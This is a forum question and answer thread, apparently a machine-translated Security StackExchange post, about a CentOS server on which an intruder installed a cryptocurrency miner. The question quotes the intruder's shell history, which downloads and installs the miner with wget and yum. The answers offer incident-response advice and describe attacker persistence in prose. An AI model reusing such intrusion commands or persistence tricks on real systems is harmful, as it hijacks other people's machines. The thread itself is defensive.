Estoy usando SSH con autenticación basada en clave y creo que mi servidor ha sido pirateado

1

Hoy, vi que mi servidor está muy cargado. Cuando comencé a excavar, vi que alguien había iniciado sesión como root (a pesar de que el usuario root no tenía una contraseña), instaló el minero y ejecutó la pantalla.

SSH escuchando en otro puerto.

¿Cómo es posible? ¡Por favor avise! ¿Cómo puedo encontrar seguridad si ha habido una infracción?

SO: CentOS Linux release 7.3.1611

Obtengo la imagen del enlace enlace

Atack comenzó a las 15:11 De la historia

   40  last|less
   41  ls
   42  wget -O minergate.rpm link_https://minergate.com/download/rpm-cli
   43  yum -y install screen wget
   44  ls
   45  wget -O minergate.rpm link_https://minergate.com/download/rpm-cli
   46  yum -y install ./minergate.rpm 
   47  screen
   48  exit

Desde el historial de la pantalla

minergate-cli --user [email protected] --xmr

secreto

    Jun 20 13:32:45 ows-ds-app-01 sudo:  centos : TTY=unknown ; PWD=/home/centos ; USER=root ; COMMAND=/bin/sh -c echo BECOME-SUCCESS-cttsrdtldonikyessrgqdyudkdbhrixs; /usr/bin/python
    Jun 20 13:32:46 ows-ds-app-01 sudo:  centos : TTY=unknown ; PWD=/home/centos ; USER=root ; COMMAND=/bin/sh -c echo BECOME-SUCCESS-vlzztgrqfqklsnmmgccjqbtkofbspumu; /usr/bin/python
    Jun 20 13:33:01 ows-ds-app-01 su: pam_unix(su:session): session opened for user datasources by (uid=0)
    Jun 20 13:33:01 ows-ds-app-01 su: pam_unix(su:session): session closed for user datasources
    Jun 20 13:33:02 ows-ds-app-01 sudo:  centos : TTY=unknown ; PWD=/home/centos ; USER=root ; COMMAND=/bin/sh -c echo BECOME-SUCCESS-miotiarcesivehgeroocljadmvjdxdpb; /usr/bin/python
    Jun 20 13:34:04 ows-ds-app-01 sshd[22042]: Received disconnect from 93.169.8.251 : 11: disconnected by user
    Jun 20 13:34:04 ows-ds-app-01 sshd[22039]: pam_unix(sshd:session): session closed for user centos
    Jun 20 15:11:48 ows-ds-app-01 login: pam_unix(login:auth): check pass; user unknown
    Jun 20 15:11:48 ows-ds-app-01 login: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost=
    Jun 20 15:11:50 ows-ds-app-01 login: FAILED LOGIN 1 FROM tty1 FOR (unknown), User not known to the underlying authentication module
    Jun 20 15:11:59 ows-ds-app-01 unix_chkpwd[25144]: password check failed for user (root)
    Jun 20 15:11:59 ows-ds-app-01 login: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost=  user=root
    Jun 20 15:11:59 ows-ds-app-01 login: pam_succeed_if(login:auth): requirement "uid >= 1000" not met by user "root"
    Jun 20 15:12:01 ows-ds-app-01 login: FAILED LOGIN 2 FROM tty1 FOR root, Authentication failure
    Jun 20 15:12:09 ows-ds-app-01 login: pam_unix(login:auth): check pass; user unknown
    Jun 20 15:12:09 ows-ds-app-01 login: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost=
    Jun 20 15:12:11 ows-ds-app-01 login: FAILED LOGIN SESSION FROM tty1 FOR (unknown), User not known to the underlying authentication module
    Jun 20 15:12:15 ows-ds-app-01 sshd[934]: Received signal 15; terminating.
    Jun 20 15:12:15 ows-ds-app-01 sshd[15541]: pam_unix(sshd:session): session closed for user centos
    Jun 20 15:14:50 ows-ds-app-01 polkitd[549]: Loading rules from directory /etc/polkit-1/rules.d
    Jun 20 15:14:50 ows-ds-app-01 polkitd[549]: Loading rules from directory /usr/share/polkit-1/rules.d
    Jun 20 15:14:50 ows-ds-app-01 polkitd[549]: Finished loading, compiling and executing 2 rules
    Jun 20 15:14:50 ows-ds-app-01 polkitd[549]: Acquired the name org.freedesktop.PolicyKit1 on the system bus
    Jun 20 15:14:53 ows-ds-app-01 sshd[929]: Server listening on 0.0.0.0 port 222.
    Jun 20 15:14:53 ows-ds-app-01 sshd[929]: Server listening on :: port 222.
    Jun 20 15:15:05 ows-ds-app-01 login: pam_unix(login:session): session opened for user root by LOGIN(uid=0)
    Jun 20 15:15:05 ows-ds-app-01 login: ROOT LOGIN ON tty1
    Jun 20 15:20:05 ows-ds-app-01 sshd[2429]: reverse mapping checking getaddrinfo for pppoe-93-169-8-251.customer.net.com [93.169.8.251 ] failed - POSSIBLE BREAK-IN ATTEMPT!
    Jun 20 15:20:08 ows-ds-app-01 sshd[2429]: Postponed publickey for centos from 93.169.8.251 port 49504 ssh2 [preauth]
    Jun 20 15:20:08 ows-ds-app-01 sshd[2429]: Accepted publickey for centos from 93.169.8.251 port 49504 ssh2: RSA 95:44:b8:2b:de:66:34:df:bb:08:48:0a:bf:7d:7c:76
    Jun 20 15:20:08 ows-ds-app-01 sshd[2429]: pam_unix(sshd:session): session opened for user centos by (uid=0)
    Jun 20 15:20:38 ows-ds-app-01 login: pam_unix(login:session): session closed for user root
    Jun 20 15:22:59 ows-ds-app-01 sshd[2432]: Received disconnect from 93.169.8.251 : 11: disconnected by user

audit.log

    type=USER_AUTH msg=audit(Tue Jun 20 15:11:48 2017.778:100956): pid=601 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:local_login_t:s0-s0:c0.c1023 msg='op=PAM:authentication grantors=? acct="?" exe="/usr/bin/login" hostname=? addr=? terminal=tty1 res=failed'
    type=USER_LOGIN msg=audit(Tue Jun 20 15:11:50 2017.875:100957): pid=601 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:local_login_t:s0-s0:c0.c1023 msg='op=login acct="(unknown)" exe="/usr/bin/login" hostname=? addr=? terminal=tty1 res=failed'
    type=USER_AUTH msg=audit(Tue Jun 20 15:11:59 2017.474:100958): pid=601 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:local_login_t:s0-s0:c0.c1023 msg='op=PAM:authentication grantors=? acct="root" exe="/usr/bin/login" hostname=? addr=? terminal=tty1 res=failed'
    type=USER_LOGIN msg=audit(Tue Jun 20 15:12:01 2017.455:100959): pid=601 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:local_login_t:s0-s0:c0.c1023 msg='op=login id=0 exe="/usr/bin/login" hostname=? addr=? terminal=tty1 res=failed'
    type=USER_AUTH msg=audit(Tue Jun 20 15:12:09 2017.424:100960): pid=601 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:local_login_t:s0-s0:c0.c1023 msg='op=PAM:authentication grantors=? acct="?" exe="/usr/bin/login" hostname=? addr=? terminal=tty1 res=failed'
    type=USER_LOGIN msg=audit(Tue Jun 20 15:12:11 2017.581:100961): pid=601 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:local_login_t:s0-s0:c0.c1023 msg='op=login acct="(unknown)" exe="/usr/bin/login" hostname=? addr=? terminal=tty1 res=failed'
    type=SERVICE_START msg=audit(Tue Jun 20 15:12:15 2017.610:100962): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=rhel-dmesg comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success'
    type=SERVICE_STOP msg=audit(Tue Jun 20 15:12:15 2017.610:100963): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=rhel-dmesg comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success'
    type=CRYPTO_KEY_USER msg=audit(Tue Jun 20 15:12:15 2017.618:100964): pid=934 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=destroy kind=server fp=eb:1d:51:a6:5a:6e:00:ce:f6:4e:dd:a7:5a:9f:e2:80 direction=? spid=934 suid=0  exe="/usr/sbin/sshd" hostname=? addr=? terminal=? res=success'
    type=CRYPTO_KEY_USER msg=audit(Tue Jun 20 15:12:15 2017.618:100965): pid=934 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=destroy kind=server fp=b2:32:0e:6d:80:6c:0e:6f:36:0e:38:6b:45:89:02:f5 direction=? spid=934 suid=0  exe="/usr/sbin/sshd" hostname=? addr=? terminal=? res=success'
    type=CRYPTO_KEY_USER msg=audit(Tue Jun 20 15:12:15 2017.618:100966): pid=934 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=destroy kind=server fp=4e:1b:1f:0f:a7:e9:de:31:ff:37:00:48:5f:c2:e6:07 direction=? spid=934 suid=0  exe="/usr/sbin/sshd" hostname=? addr=? terminal=? res=success'
    type=SERVICE_START msg=audit(Tue Jun 20 15:12:15 2017.619:100967): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=cloud-final comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success'
    type=SERVICE_STOP msg=audit(Tue Jun 20 15:12:15 2017.619:100968): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=cloud-final comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success'
    type=SERVICE_START msg=audit(Tue Jun 20 15:12:15 2017.620:100969): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=cloud-config comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success'
    type=SERVICE_STOP msg=audit(Tue Jun 20 15:12:15 2017.621:100970): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=cloud-config comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success'
    type=ANOM_ABEND msg=audit(Tue Jun 20 15:12:15 2017.625:100971): auid=1000 uid=0 gid=0 ses=3091 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 pid=23314 comm="vim" reason="memory violation" sig=11
    type=USER_END msg=audit(Tue Jun 20 15:12:15 2017.627:100972): pid=16811 uid=0 auid=1000 ses=3091 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='op=PAM:session_close grantors=pam_keyinit,pam_limits acct="root" exe="/usr/bin/sudo" hostname=? addr=? terminal=/dev/pts/1 res=success'
    type=CRED_DISP msg=audit(Tue Jun 20 15:12:15 2017.627:100973): pid=16811 uid=0 auid=1000 ses=3091 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='op=PAM:setcred grantors=pam_env,pam_unix acct="root" exe="/usr/bin/sudo" hostname=? addr=? terminal=/dev/pts/1 res=success'
    type=USER_END msg=audit(Tue Jun 20 15:12:15 2017.639:100974): pid=15541 uid=0 auid=1000 ses=3091 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=PAM:session_close grantors=pam_selinux,pam_loginuid,pam_selinux,pam_namespace,pam_keyinit,pam_keyinit,pam_limits,pam_systemd,pam_unix,pam_lastlog acct="centos" exe="/usr/sbin/sshd" hostname=93.169.8.251 addr=93.169.8.251 terminal=ssh res=success'
    type=CRED_DISP msg=audit(Tue Jun 20 15:12:15 2017.639:100975): pid=15541 uid=0 auid=1000 ses=3091 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=PAM:setcred grantors=pam_env,pam_unix acct="centos" exe="/usr/sbin/sshd" hostname=93.169.8.251 addr=93.169.8.251 terminal=ssh res=success'
    type=USER_END msg=audit(Tue Jun 20 15:12:15 2017.641:100976): pid=15541 uid=0 auid=1000 ses=3091 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login id=1000 exe="/usr/sbin/sshd" hostname=? addr=? terminal=/dev/pts/1 res=success'
    type=USER_LOGOUT msg=audit(Tue Jun 20 15:12:15 2017.641:100977): pid=15541 uid=0 auid=1000 ses=3091 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login id=1000 exe="/usr/sbin/sshd" hostname=? addr=? terminal=/dev/pts/1 res=success'
    
pregunta THUND3R 23.06.2017 - 12:05
fuente

2 respuestas

1

Las preguntas típicas de respuesta a incidentes son

  1. ¿Cuál fue el vector de entrada? (relacionado: cuál era la línea de tiempo exacta y la secuencia de eventos alrededor de la violación ")

Hay muchas rutas que un atacante toma para "piratear" un sistema (vector de entrada). Mirar solo una fuente de información (como los registros) puede llevar a conclusiones erróneas. Dependiendo de qué tan importante sea este servidor para usted y de lo importante que sea para establecer el vector de entrada, debe considerar contratar a un profesional de DFIR para investigar y tomar esta decisión por usted.

  1. ¿Qué todos fueron comprometidos? (relacionado: ¿Cuál es el alcance de la contaminación y los pivotes, si los hay?)

Una vez que un pirata informático ingresa, normalmente toman varias medidas para asegurarse de que no se arranquen. En un ejemplo similar (la entrada fue a través de una instalación de software Redis insegura), vimos

  • Se agregaron varias entradas de crontab que verifican cada uno de sus programas en una secuencia circular, por ejemplo, A verifica si B se está ejecutando, B verifica para C y C comprueba si hay A. - y reinicie los programas si no están corriendo por alguna razón.
  • Uno de los programas verifica si hay una puerta trasera SSH y se asegura de que esté añadido (estaba lleno de bugs y añadió mucha basura a la configuración de sshd pero esa es otra historia)
  • Otro iniciaría un programa de minería si no se estuviera ejecutando.

Una vez más, para determinar el alcance del daño para la contención y recuperación total, necesita un profesional de seguridad (específicamente, un profesional de DFIR) en el trabajo. Esto no es un proyecto de bricolaje, me temo.

Usted tiene la opción de desactivar todo desde la órbita (limpiar el sistema o eliminar la máquina virtual) y comenzar de nuevo. Sin embargo, eso no tapará ningún agujero que tengas en tu seguridad (así es como entró el hacker en primer lugar) y por lo tanto no evitará que el atacante te vuelva a golpear.

    
respondido por el Sas3 23.06.2017 - 16:21
fuente
0

No se ha proporcionado suficiente información para decir cómo, específicamente, entró el atacante.

Es probable que algún servicio que ejecute en esa máquina se vea comprometido. Si el servicio se ejecutó como root, eso es todo lo que necesita. Si el servicio se ejecutara como un usuario no root, se podría haber utilizado alguna escalada de privilegios locales adicionales.

Como han dicho otros, esto no es una situación de bricolaje. La mejor sugerencia es pagar a un profesional, o comenzar de nuevo con una VM limpia, completamente parcheada y volver a habilitar sus servicios desde copias de seguridad una por una.

Cierre cualquier servicio no esencial que no necesite para reducir la superficie de ataque. Los servidores web y las bases de datos, si están abiertos a la red, son las fuentes más probables de la entrada inicial. Puede verificar esos archivos de registro en el momento de la instalación del minero. Un buen atacante podría limpiar sus huellas, pero como dejaron los archivos de registro mostrando lo que hicieron, puede que no les importe si ven cómo entraron.

    
respondido por el JesseM 23.06.2017 - 20:13
fuente

Lea otras preguntas en las etiquetas